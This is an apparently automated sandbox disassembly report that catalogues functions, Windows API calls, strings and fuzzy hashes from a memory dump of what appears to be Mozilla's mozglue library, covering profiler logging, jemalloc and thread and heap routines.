Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: e407e1350ac451a5fc7379847cedbeecbaff4c3046b82c18f9a7f2c6ed72cf4e
Instruction ID: 25a4f2503e7b2589e15691826098b65cda557280f792d49c8a3742f0f93caff6
Opcode Fuzzy Hash: e407e1350ac451a5fc7379847cedbeecbaff4c3046b82c18f9a7f2c6ed72cf4e
Instruction Fuzzy Hash: 2BF054757006049BDB007F66D888E5E77BDEFC62ADF00C425EA0593702DF754805876E

Function 6C5D0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C5D0DF8), ref: 6C5D0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C5D0EA1
__Init_thread_footer.LIBCMT ref: 6C5D0EB5
FreeLibrary.KERNEL32 ref: 6C5D0EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C5D0E9B
kernel32.dll, xrefs: 6C5D0E7D

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 45f8af100d11d7bb55ef71b0fb3e360fb3c39d1991526dd66b0e86f78fe5c089
Instruction ID: f59b3caed3f4828c66e936044b7d4f7b924166f00c8a3391698a845505d7d67e
Opcode Fuzzy Hash: 45f8af100d11d7bb55ef71b0fb3e360fb3c39d1991526dd66b0e86f78fe5c089
Instruction Fuzzy Hash: 19012874700382CBDB00AFAAE894A4A73B5E78631EF11E926991182F40D778B4098A1F

Function 6C60F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5D4A68), ref: 6C60945E
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C609470
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C609482
Part of subcall function 6C609420: __Init_thread_footer.LIBCMT ref: 6C60949F

GetCurrentThreadId.KERNEL32 ref: 6C60F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C60F598), ref: 6C60F621

Part of subcall function 6C6094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6094EE
Part of subcall function 6C6094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C609508

GetCurrentThreadId.KERNEL32 ref: 6C60F637
AcquireSRWLockExclusive.KERNEL32(6C64F4B8,?,?,00000000,?,6C60F598), ref: 6C60F645
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8,?,?,00000000,?,6C60F598), ref: 6C60F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C60F62A

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: cc6d68ad72fc5b166cb82083215bd2c28ea39f7f7339ea20b0828db9f2788256
Instruction ID: ba862d501ad535c864b57e78dc334620c66ebf1d02d3942686957ddec044b417
Opcode Fuzzy Hash: cc6d68ad72fc5b166cb82083215bd2c28ea39f7f7339ea20b0828db9f2788256
Instruction Fuzzy Hash: ADF05EB5300604ABDB007F66D888E5E7BBDEFC62ADF00C425EA0593742DB754C068B6E

Function 6C6005F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C5FCFAE,?,?,?,6C5C31A7), ref: 6C6005FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C5FCFAE,?,?,?,6C5C31A7), ref: 6C600616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C5C31A7), ref: 6C60061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C5C31A7), ref: 6C600627

Strings

<jemalloc>, xrefs: 6C6005FA, 6C60060F
: (malloc) Error in VirtualFree(), xrefs: 6C60061B, 6C600625

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 3c028313160149d0e479200739425540fcfb25030bae9470754f9279b4a9ce95
Instruction ID: 11a61e6009b6077c91222afa0d54f75a81918fc4ef17807b646ddc6fcfd07655
Opcode Fuzzy Hash: 3c028313160149d0e479200739425540fcfb25030bae9470754f9279b4a9ce95
Instruction Fuzzy Hash: 0BE08CE2A0202037F6142256AC86DBB761CDBC6138F080139FE0E87301E94AAD1A51FA

Function 6C5D05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5658be6edb08feacf7e4e0eab0c08d05c4b3bc33eaa7164ab3e6824e059d344d
Instruction ID: c0a63c71a7f793b22fa5b91e5e5bd8e2af0281a6ce04312145e950b670540c22
Opcode Fuzzy Hash: 5658be6edb08feacf7e4e0eab0c08d05c4b3bc33eaa7164ab3e6824e059d344d
Instruction Fuzzy Hash: 06A12770A01745CFDB14CF29C994A9AFBF1BB89304F45866AD44A9BB00E731B985CF94

Function 6C6214A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6214C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6214E2
GetCurrentThreadId.KERNEL32 ref: 6C621546
InitializeConditionVariable.KERNEL32(?), ref: 6C6215BA
free.MOZGLUE(?), ref: 6C6216B4

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 76973b4e4d4aad6d9b7d5f44913697e364456f406d7be569bc57b9393696d146
Instruction ID: 7bbc4385bf2c19e2037474ad6467070cdb38aca36303bbae4f7073e781e2db62
Opcode Fuzzy Hash: 76973b4e4d4aad6d9b7d5f44913697e364456f406d7be569bc57b9393696d146
Instruction Fuzzy Hash: CB61F271A047009BDB21DF25C880BDEB7B0BF8A308F44851CED8A67701DB35E959CB99

Function 6C619F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C619FDB
free.MOZGLUE(?,?), ref: 6C619FF0
free.MOZGLUE(?,?), ref: 6C61A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C61A0BE
free.MOZGLUE(?,?), ref: 6C61A0D5
free.MOZGLUE(?,?), ref: 6C61A0EB

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 65d781a4dd8c0c5e38de5f5be3b4f324df962ed0086a36c823b457001d0da554
Instruction ID: 936c9f0fdd0f18ba1bc5fb2b5030f397fc6b58dd902e07ce7ea8fa36ae331ab4
Opcode Fuzzy Hash: 65d781a4dd8c0c5e38de5f5be3b4f324df962ed0086a36c823b457001d0da554
Instruction Fuzzy Hash: 7A615F75509641DFC711CF18C4805AAB3F5FFC8329F548659E8999BB02EB32E98ACBC1

Function 6C61DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C61DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C61D38A,?), ref: 6C61DC6F
free.MOZGLUE(?,?,?,?,?,6C61D38A,?), ref: 6C61DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C61D38A,?), ref: 6C61DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C61D38A,?), ref: 6C61DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C61D38A,?), ref: 6C61DD4A

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 7402dce0d87de27d4fedff7d5423565f1016a2338701dee2745b4847fe78b0ef
Instruction ID: dee93f484dbf10babaae7559b463710b9726233886895710366c1c9aec2fd4bc
Opcode Fuzzy Hash: 7402dce0d87de27d4fedff7d5423565f1016a2338701dee2745b4847fe78b0ef
Instruction Fuzzy Hash: 15415AB5A00605DFCB00CFA9C88099AB7F6FF89318B554569DA45ABB10D771FC00CB94

Function 6C5FF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C5FF480

Part of subcall function 6C5CF100: LoadLibraryW.KERNEL32(shell32,?,6C63D020), ref: 6C5CF122
Part of subcall function 6C5CF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5CF132

CloseHandle.KERNEL32(00000000), ref: 6C5FF555

Part of subcall function 6C5D14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C5D1248,6C5D1248,?), ref: 6C5D14C9
Part of subcall function 6C5D14B0: memcpy.VCRUNTIME140(?,6C5D1248,00000000,?,6C5D1248,?), ref: 6C5D14EF

Part of subcall function 6C5CEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C5CEEE3

CreateFileW.KERNEL32 ref: 6C5FF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C5FF523

Strings

\oleacc.dll, xrefs: 6C5FF4CB

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: c030b216e3c2ecd2817699f63ed0f3f6adab752d43c8d9e582688aa35d3d731a
Instruction ID: 3b33cb4800f84965448955d47e7e9c572bcaf1c2a2058b4a4163e88889fef48c
Opcode Fuzzy Hash: c030b216e3c2ecd2817699f63ed0f3f6adab752d43c8d9e582688aa35d3d731a
Instruction Fuzzy Hash: 5941BC306087109FE725DF69CC84A9BB7F4AF85318F104B1CE5A083A51EB70E94ACF92

Function 6C60E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5D4A68), ref: 6C60945E
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C609470
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C609482
Part of subcall function 6C609420: __Init_thread_footer.LIBCMT ref: 6C60949F

GetCurrentThreadId.KERNEL32 ref: 6C60E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C60E04F

Part of subcall function 6C6094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6094EE
Part of subcall function 6C6094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C609508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C60E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C60E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C60E057

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 013b92e11fea4ace66c12ebfca0bfcecefef91906d430b002685c2a29180e5fd
Instruction ID: dc2e276e3c2d6cc326a22e72feadbc8de5e10084dce5cb38e49420c79a7a34f9
Opcode Fuzzy Hash: 013b92e11fea4ace66c12ebfca0bfcecefef91906d430b002685c2a29180e5fd
Instruction Fuzzy Hash: BB21F574B001189FCF08EF65C958AEEB7B5AF8530CF148014EC4AA7340DB319919C7D9

Function 6C6274A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C627526
__Init_thread_footer.LIBCMT ref: 6C627566
__Init_thread_footer.LIBCMT ref: 6C627597

Strings

kernel32.dll, xrefs: 6C627557
UnmapViewOfFile2, xrefs: 6C627552

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 8ad65f9df3f87014ba9b51f716028e304e07cfd38e280783fbb20b9634e57da2
Instruction ID: f836c2573638acb4679bf3ac4df52c18e56fd6ebf02ef9867ef86fccfc8e85f3
Opcode Fuzzy Hash: 8ad65f9df3f87014ba9b51f716028e304e07cfd38e280783fbb20b9634e57da2
Instruction Fuzzy Hash: 3D21D331700501A7DB18DFEAD894E9A7376EB8632DF15C528D80557F80DB2DA8028E9F

Function 6C62A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C64F770,-00000001,?,6C63E330,?,6C5EBDF7), ref: 6C62A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C5EBDF7), ref: 6C62A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C5EBDF7), ref: 6C62A7E4
LeaveCriticalSection.KERNEL32(6C64F770), ref: 6C62A80A

Strings

accelerator.dll, xrefs: 6C62A7BF

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: f2bc2e37671f4f20758e0d9a50fd313d86173df19c192b6544107ca574431f0b
Instruction ID: 670f760b88f7cf273cc44cdf02f8f9d1fb2a5a1354f5048e8c0c2fc8f2528c09
Opcode Fuzzy Hash: f2bc2e37671f4f20758e0d9a50fd313d86173df19c192b6544107ca574431f0b
Instruction Fuzzy Hash: B20184716003049FAB04DF56D8C4C557BF4FB8A364705C06AE9098B712DBB4A800CFA9

Function 6C6275B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C62748B,?), ref: 6C6275B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C6275D7
FreeLibrary.KERNEL32(?,6C62748B,?), ref: 6C6275EC

Strings

RtlNtStatusToDosError, xrefs: 6C6275D1
ntdll.dll, xrefs: 6C6275B3

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 30d8b49e1e64e496d4e4562417ebb147a30739dcc9126ee2b654caf5f4c0ef3a
Instruction ID: 917de9a7a295d63a8a1a184b550319a10f23a863452cabc603b53c1c965a221a
Opcode Fuzzy Hash: 30d8b49e1e64e496d4e4562417ebb147a30739dcc9126ee2b654caf5f4c0ef3a
Instruction Fuzzy Hash: 0FE07571605701ABDB007BA7D8C8B057AF8E78625CF10D025AA0591A11DAB88052CF1E

Function 6C627600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C627592), ref: 6C627608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C627627
FreeLibrary.KERNEL32(?,6C627592), ref: 6C62763C

Strings

ntdll.dll, xrefs: 6C627603
NtUnmapViewOfSection, xrefs: 6C627621

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 49cd289dc3fbd1d0b9910f51bb559a60ee015c177d7702e3a23357158805ba77
Instruction ID: c3e3ae5926acd739f127697a6a4915de4cb8f307b8072c974ab6a4569f5e7a5f
Opcode Fuzzy Hash: 49cd289dc3fbd1d0b9910f51bb559a60ee015c177d7702e3a23357158805ba77
Instruction Fuzzy Hash: 27E092B4605701ABDF007FA7E898F457EB9E79A39DF01D115EA05D1A11EBB980018F1E

Function 6C62BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C62BE49), ref: 6C62BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C62BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C62BE49), ref: 6C62BF38
RtlReAllocateHeap.NTDLL ref: 6C62BF83
RtlFreeHeap.NTDLL ref: 6C62BFA6

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: f1f3b3601924456a86a7552d08daee096d77e54a34359b6658c92c82b3ee2380
Instruction ID: 5e882d05222dcc063640c8223fab147d1a754bcbd095adbf9eb79b2abf60190a
Opcode Fuzzy Hash: f1f3b3601924456a86a7552d08daee096d77e54a34359b6658c92c82b3ee2380
Instruction Fuzzy Hash: F4518071A002158FE720CF69C980B9AB7A2FFC9314F298629D556A7B94D734F9068F84

Function 6C618E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C60B58D,?,?,?,?,?,?,?,6C63D734,?,?,?,6C63D734), ref: 6C618E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C60B58D,?,?,?,?,?,?,?,6C63D734,?,?,?,6C63D734), ref: 6C618EBF
free.MOZGLUE(?,?,?,?,6C60B58D,?,?,?,?,?,?,?,6C63D734,?,?,?), ref: 6C618F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C60B58D,?,?,?,?,?,?,?,6C63D734,?,?,?,6C63D734), ref: 6C618F46
free.MOZGLUE(?,?,?,?,6C60B58D,?,?,?,?,?,?,?,6C63D734,?,?,?), ref: 6C618F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C60B58D,?,?,?,?,?,?,?,6C63D734,?,?,?), ref: 6C618F8F

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 782cba98f1fd2cf4816a2a7b47ff04d608eeb7286a6469011224e0f6e55a37a7
Instruction ID: 3e05e840ec3574453e91c3bf80e125e32c5adc089fa020850a516d7b6f3b27c3
Opcode Fuzzy Hash: 782cba98f1fd2cf4816a2a7b47ff04d608eeb7286a6469011224e0f6e55a37a7
Instruction Fuzzy Hash: 4B5108B1A042158FEB10CF68D88076E73B2FF8D349F16446AD916ABB50E732F904CB95

Function 6C6127E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

